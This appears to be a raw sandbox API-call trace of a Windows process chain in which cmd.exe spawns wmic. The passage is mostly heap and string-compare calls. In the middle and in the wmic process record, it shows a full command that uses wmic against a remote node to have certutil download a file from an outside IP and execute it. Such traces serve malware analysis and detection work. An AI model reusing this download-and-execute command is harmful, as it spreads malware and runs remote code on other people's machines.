GetProcessHeap () returned 0x550000 [0092.624] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x238) returned 0x564290 [0092.630] GetProcessHeap () returned 0x550000 [0092.630] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564290, Size=0x122) returned 0x564290 [0092.630] GetProcessHeap () returned 0x550000 [0092.630] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x564290) returned 0x122 [0092.630] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0092.630] GetProcessHeap () returned 0x550000 [0092.630] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe0) returned 0x5511b0 [0092.630] GetProcessHeap () returned 0x550000 [0092.630] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5511b0, Size=0x76) returned 0x5511b0 [0092.630] GetProcessHeap () returned 0x550000 [0092.630] RtlSizeHeap (HeapHandle=0x550000, Flags=0x0, MemoryPointer=0x5511b0) returned 0x76 [0092.631] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0092.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.631] GetLastError () returned 0x2 [0092.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.631] GetLastError () returned 0x2 [0092.631] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0092.631] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.631] GetLastError () returned 0x2 [0092.631] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.631] GetLastError () returned 0x2 [0092.631] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0092.631] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.632] GetLastError () returned 0x2 [0092.632] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.632] GetLastError () returned 0x2 [0092.632] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0092.632] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x551230 [0092.632] GetProcessHeap () returned 0x550000 [0092.632] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x14) returned 0x551270 [0092.632] FindClose (in: hFindFile=0x551230 | out: hFindFile=0x551230) returned 1 [0092.632] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0092.632] GetLastError () returned 0x2 [0092.632] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x551230 [0092.632] GetProcessHeap () returned 0x550000 [0092.632] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x551270, Size=0x4) returned 0x551270 [0092.632] FindClose (in: hFindFile=0x551230 | out: hFindFile=0x551230) returned 1 [0092.633] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0092.633] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0092.633] GetConsoleTitleW (in: lpConsoleTitle=0x28f0ac, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0092.633] InitializeProcThreadAttributeList (in: lpAttributeList=0x28ef34, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28effc | out: lpAttributeList=0x28ef34, lpSize=0x28effc) returned 1 [0092.633] UpdateProcThreadAttribute (in: lpAttributeList=0x28ef34, dwFlags=0x0, Attribute=0x60001, lpValue=0x28eff4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28ef34, lpPreviousValue=0x0) returned 1 [0092.633] GetStartupInfoW (in: lpStartupInfo=0x28eef0 | out: lpStartupInfo=0x28eef0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0092.633] GetProcessHeap () returned 0x550000 [0092.633] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x18) returned 0x551230 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0092.633] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0092.634] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0092.634] GetProcessHeap () returned 0x550000 [0092.634] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x551230 | out: hHeap=0x550000) returned 1 [0092.634] GetProcessHeap () returned 0x550000 [0092.634] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xa) returned 0x560080 [0092.634] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0092.635] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28ef90*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28efdc | out: lpCommandLine="wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpProcessInformation=0x28efdc*(hProcess=0x78, hThread=0x74, dwProcessId=0x103c, dwThreadId=0x1040)) returned 1 [0092.848] CloseHandle (hObject=0x74) returned 1 [0092.848] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0092.848] GetProcessHeap () returned 0x550000 [0092.848] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x565868 | out: hHeap=0x550000) returned 1 [0092.848] GetEnvironmentStringsW () returned 0x564600* [0092.848] GetProcessHeap () returned 0x550000 [0092.848] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb36) returned 0x565140 [0092.848] FreeEnvironmentStringsW (penv=0x564600) returned 1 [0092.849] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0102.452] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x28eed0 | out: lpExitCode=0x28eed0*=0x0) returned 1 [0102.453] CloseHandle (hObject=0x78) returned 1 [0102.453] _vsnwprintf (in: _Buffer=0x28f018, _BufferCount=0x13, _Format="%08X", _ArgList=0x28eedc | out: _Buffer="00000000") returned 8 [0102.453] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0102.453] GetProcessHeap () returned 0x550000 [0102.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x565140 | out: hHeap=0x550000) returned 1 [0102.453] GetEnvironmentStringsW () returned 0x564600* [0102.453] GetProcessHeap () returned 0x550000 [0102.453] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb5c) returned 0x565168 [0102.453] FreeEnvironmentStringsW (penv=0x564600) returned 1 [0102.453] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0102.453] GetProcessHeap () returned 0x550000 [0102.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x565168 | out: hHeap=0x550000) returned 1 [0102.453] GetEnvironmentStringsW () returned 0x564600* [0102.453] GetProcessHeap () returned 0x550000 [0102.453] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xb5c) returned 0x565168 [0102.453] FreeEnvironmentStringsW (penv=0x564600) returned 1 [0102.453] GetProcessHeap () returned 0x550000 [0102.453] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x560080 | out: hHeap=0x550000) returned 1 [0102.453] DeleteProcThreadAttributeList (in: lpAttributeList=0x28ef34 | out: lpAttributeList=0x28ef34) [0102.453] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.453] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0102.454] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.454] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0102.454] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.454] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0102.454] SetConsoleInputExeNameW () returned 0x1 [0102.454] GetConsoleOutputCP () returned 0x1b5 [0102.454] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0102.454] SetThreadUILanguage (LangId=0x0) returned 0x409 [0102.454] exit (_Code=0) Process: id = "9" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2e02c000" os_pid = "0x103c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0x124" cmd_line = "wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 440 os_tid = 0x1040 [0095.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12feec | out: lpSystemTimeAsFileTime=0x12feec*(dwLowDateTime=0x8f530fc0, dwHighDateTime=0x1d5ca1f)) [0095.784] GetCurrentProcessId () returned 0x103c [0095.784] GetCurrentThreadId () returned 0x1040 [0095.784] GetTickCount () returned 0x1160a00 [0095.784] QueryPerformanceCounter (in: lpPerformanceCount=0x12fee4 | out: lpPerformanceCount=0x12fee4*=23689368893) returned 1 [0095.785] GetModuleHandleA (lpModuleName=0x0) returned 0xe50000 [0095.785] __set_app_type (_Type=0x1) [0095.785] __p__fmode () returned 0x76be31f4 [0095.785] __p__commode () returned 0x76be31fc [0095.785] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xe8dc15) returned 0x0 [0095.785] __wgetmainargs (in: _Argc=0xe9c5e8, _Argv=0xe9c5f0, _Env=0xe9c5ec, _DoWildCard=0, _StartInfo=0xe9c5fc | out: _Argc=0xe9c5e8, _Argv=0xe9c5f0, _Env=0xe9c5ec) returned 0 [0096.286] ??0CHString@@QAE@XZ () returned 0xe9c28c [0096.287] malloc (_Size=0x18) returned 0x1b3fb8 [0096.336] malloc (_Size=0x38) returned 0x1b13b8 [0096.336] malloc (_Size=0x28) returned 0x1b28f0 [0096.336] malloc (_Size=0x18) returned 0x1b13f8 [0096.336] malloc (_Size=0x24) returned 0x1b2920 [0096.406] malloc (_Size=0x18) returned 0x1b2950 [0096.406] malloc (_Size=0x18) returned 0x1b2970 [0096.406] ??0CHString@@QAE@XZ () returned 0xe9c594 [0096.406] malloc (_Size=0x18) returned 0x1b2990 [0096.406] ?Empty@CHString@@QAEXXZ () returned 0x73dd0504 [0096.406] SetConsoleCtrlHandler (HandlerRoutine=0xe86b6f, Add=1) returned 1 [0096.406] _onexit (_Func=0xe92f1f) returned 0xe92f1f [0096.406] _onexit (_Func=0xe92f2e) returned 0xe92f2e [0096.406] _onexit (_Func=0xe92f42) returned 0xe92f42 [0096.407] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0096.407] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0096.408] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0096.650] CoCreateInstance (in: rclsid=0xe56c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xe56b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xe9c1b0 | out: ppv=0xe9c1b0*=0xa60828) returned 0x0 [0096.660] GetCurrentProcess () returned 0xffffffff [0096.660] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x12fd94 | out: TokenHandle=0x12fd94*=0x108) returned 1 [0096.660] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x12fd90 | out: TokenInformation=0x0, ReturnLength=0x12fd90) returned 0 [0096.660] malloc (_Size=0x118) returned 0x1b2b48 [0096.660] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x1b2b48, TokenInformationLength=0x118, ReturnLength=0x12fd90 | out: TokenInformation=0x1b2b48, ReturnLength=0x12fd90) returned 1 [0096.660] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x1b2b48*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0096.660] free (_Block=0x1b2b48) [0096.660] CloseHandle (hObject=0x108) returned 1 [0096.660] malloc (_Size=0x40) returned 0x1b2b48 [0096.660] malloc (_Size=0x40) returned 0x1b2b90 [0096.660] malloc (_Size=0x40) returned 0x1b2bd8 [0096.661] malloc (_Size=0x20a) returned 0x1b2c20 [0096.661] GetSystemDirectoryW (in: lpBuffer=0x1b2c20, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0096.661] free (_Block=0x1b2c20) [0096.661] malloc (_Size=0xc) returned 0x1b2c20 [0096.661] malloc (_Size=0xc) returned 0x1b2c38 [0096.661] malloc (_Size=0xc) returned 0x1b2c50 [0096.661] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0096.661] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0096.662] free (_Block=0x1b2c20) [0096.662] free (_Block=0x1b2c38) [0096.662] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0096.663] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0096.663] SetThreadUILanguage (LangId=0x0) returned 0x409 [0096.663] FreeLibrary (hLibModule=0x76e10000) returned 1 [0096.663] free (_Block=0x1b2c50) [0096.663] _vsnwprintf (in: _Buffer=0x1b2bd8, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x12fcf0 | out: _Buffer="ms_409") returned 6 [0096.663] malloc (_Size=0x20) returned 0x1b2c20 [0096.663] GetComputerNameW (in: lpBuffer=0x1b2c20, nSize=0x12fd48 | out: lpBuffer="XDUWTFONO", nSize=0x12fd48) returned 1 [0096.664] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.664] malloc (_Size=0x14) returned 0x1b2c48 [0096.664] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.664] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x12fd84 | out: lpNameBuffer=0x0, nSize=0x12fd84) returned 0x0 [0096.665] GetLastError () returned 0xea [0096.665] malloc (_Size=0x40) returned 0x1b2c68 [0096.665] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b2c68, nSize=0x12fd84 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x12fd84) returned 0x1 [0096.665] lstrlenW (lpString="") returned 0 [0096.665] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.665] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0096.667] lstrlenW (lpString=".") returned 1 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0096.667] lstrlenW (lpString="LOCALHOST") returned 9 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0096.667] free (_Block=0x1b2c48) [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] malloc (_Size=0x14) returned 0x1b2c48 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] malloc (_Size=0x14) returned 0x1b2cb0 [0096.667] lstrlenW (lpString="XDUWTFONO") returned 9 [0096.667] malloc (_Size=0x4) returned 0x1b3fd8 [0096.667] malloc (_Size=0xc) returned 0x1b2cd0 [0096.667] malloc (_Size=0x18) returned 0x1b2ce8 [0096.667] malloc (_Size=0xc) returned 0x1b2d08 [0096.667] SysStringLen (param_1="IDENTIFY") returned 0x8 [0096.667] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0096.667] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0096.667] SysStringLen (param_1="IDENTIFY") returned 0x8 [0096.668] malloc (_Size=0x18) returned 0x1b2d20 [0096.668] malloc (_Size=0xc) returned 0x1b2d40 [0096.668] SysStringLen (param_1="IMPERSONATE") returned 0xb [0096.668] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0096.668] SysStringLen (param_1="IMPERSONATE") returned 0xb [0096.668] SysStringLen (param_1="IDENTIFY") returned 0x8 [0096.668] SysStringLen (param_1="IDENTIFY") returned 0x8 [0096.668] SysStringLen (param_1="IMPERSONATE") returned 0xb [0096.668] malloc (_Size=0x18) returned 0x1b2d58 [0096.668] malloc (_Size=0xc) returned 0x1b2d78 [0096.668] SysStringLen (param_1="DELEGATE") returned 0x8 [0096.668] SysStringLen (param_1="IDENTIFY") returned 0x8 [0096.668] SysStringLen (param_1="DELEGATE") returned 0x8 [0096.668] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0096.668] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0096.668] SysStringLen (param_1="DELEGATE") returned 0x8 [0096.668] malloc (_Size=0x18) returned 0x1b2d90 [0096.668] malloc (_Size=0xc) returned 0x1b2db0 [0096.668] malloc (_Size=0x18) returned 0x1b2dc8 [0096.668] malloc (_Size=0xc) returned 0x1b2de8 [0096.668] SysStringLen (param_1="NONE") returned 0x4 [0096.668] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.668] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.668] SysStringLen (param_1="NONE") returned 0x4 [0096.668] malloc (_Size=0x18) returned 0x1b2e00 [0096.669] malloc (_Size=0xc) returned 0x1b2e20 [0096.669] SysStringLen (param_1="CONNECT") returned 0x7 [0096.669] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.669] malloc (_Size=0x18) returned 0x1b2e38 [0096.670] malloc (_Size=0xc) returned 0x1b2e58 [0096.670] SysStringLen (param_1="CALL") returned 0x4 [0096.670] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.670] SysStringLen (param_1="CALL") returned 0x4 [0096.670] SysStringLen (param_1="CONNECT") returned 0x7 [0096.670] malloc (_Size=0x18) returned 0x1be868 [0096.670] malloc (_Size=0xc) returned 0x1b3270 [0096.670] SysStringLen (param_1="PKT") returned 0x3 [0096.670] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.670] SysStringLen (param_1="PKT") returned 0x3 [0096.670] SysStringLen (param_1="NONE") returned 0x4 [0096.670] SysStringLen (param_1="NONE") returned 0x4 [0096.670] SysStringLen (param_1="PKT") returned 0x3 [0096.670] malloc (_Size=0x18) returned 0x1be888 [0096.670] malloc (_Size=0xc) returned 0x1b3288 [0096.670] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.670] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.670] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.670] SysStringLen (param_1="NONE") returned 0x4 [0096.670] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.670] SysStringLen (param_1="PKT") returned 0x3 [0096.670] SysStringLen (param_1="PKT") returned 0x3 [0096.670] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0096.670] malloc (_Size=0x18) returned 0x1be8a8 [0096.670] malloc (_Size=0xc) returned 0x1b32a0 [0096.671] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0096.671] SysStringLen (param_1="DEFAULT") returned 0x7 [0096.671] 